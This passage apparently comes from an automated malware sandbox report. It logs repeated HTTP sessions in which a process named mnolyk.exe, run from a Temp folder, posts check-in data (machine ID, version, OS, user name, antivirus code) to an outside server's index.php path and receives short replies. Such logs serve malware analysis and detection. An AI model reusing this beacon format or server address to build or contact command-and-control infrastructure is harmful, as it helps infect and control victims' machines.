310	192.168.2.5	50000	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:11.377142906 CET	511	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:11.442153931 CET	511	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
311	192.168.2.5	50001	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:11.711180925 CET	512	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:11.775501966 CET	512	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
312	192.168.2.5	50002	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:12.405675888 CET	513	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:12.469245911 CET	513	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
313	192.168.2.5	50003	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:13.453553915 CET	514	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:13.520159006 CET	514	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
314	192.168.2.5	50004	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:13.908823967 CET	515	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:13.973970890 CET	515	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
315	192.168.2.5	50005	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:14.255721092 CET	516	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:14.322971106 CET	516	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
316	192.168.2.5	50006	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:14.489864111 CET	517	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:14.553904057 CET	517	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
317	192.168.2.5	50007	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:14.733546972 CET	518	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:14.796650887 CET	518	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
318	192.168.2.5	50008	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:14.977536917 CET	519	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:15.043209076 CET	519	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
319	192.168.2.5	50009	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:15.225596905 CET	520	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:15.291661024 CET	520	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.5	49722	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:39.327483892 CET	232	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:39.392071009 CET	233	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
320	192.168.2.5	50010	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:15.475260019 CET	521	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:15.539522886 CET	521	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
321	192.168.2.5	50011	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:15.710647106 CET	522	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:15.775943995 CET	522	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
322	192.168.2.5	50012	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:15.955152988 CET	523	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:16.023773909 CET	523	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
323	192.168.2.5	50013	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:16.193100929 CET	524	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:16.259099960 CET	524	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
324	192.168.2.5	50014	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:16.436543941 CET	525	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:16.505187035 CET	525	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
325	192.168.2.5	50015	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:16.703906059 CET	526	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:16.769123077 CET	526	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
326	192.168.2.5	50016	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:16.944190979 CET	527	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:17.008083105 CET	527	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
327	192.168.2.5	50017	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:17.179297924 CET	528	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:17.245771885 CET	528	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
328	192.168.2.5	50018	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:17.421895981 CET	529	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:17.487003088 CET	529	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
329	192.168.2.5	50019	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:17.663562059 CET	530	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:17.728158951 CET	530	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.5	49723	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:39.562180042 CET	233	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
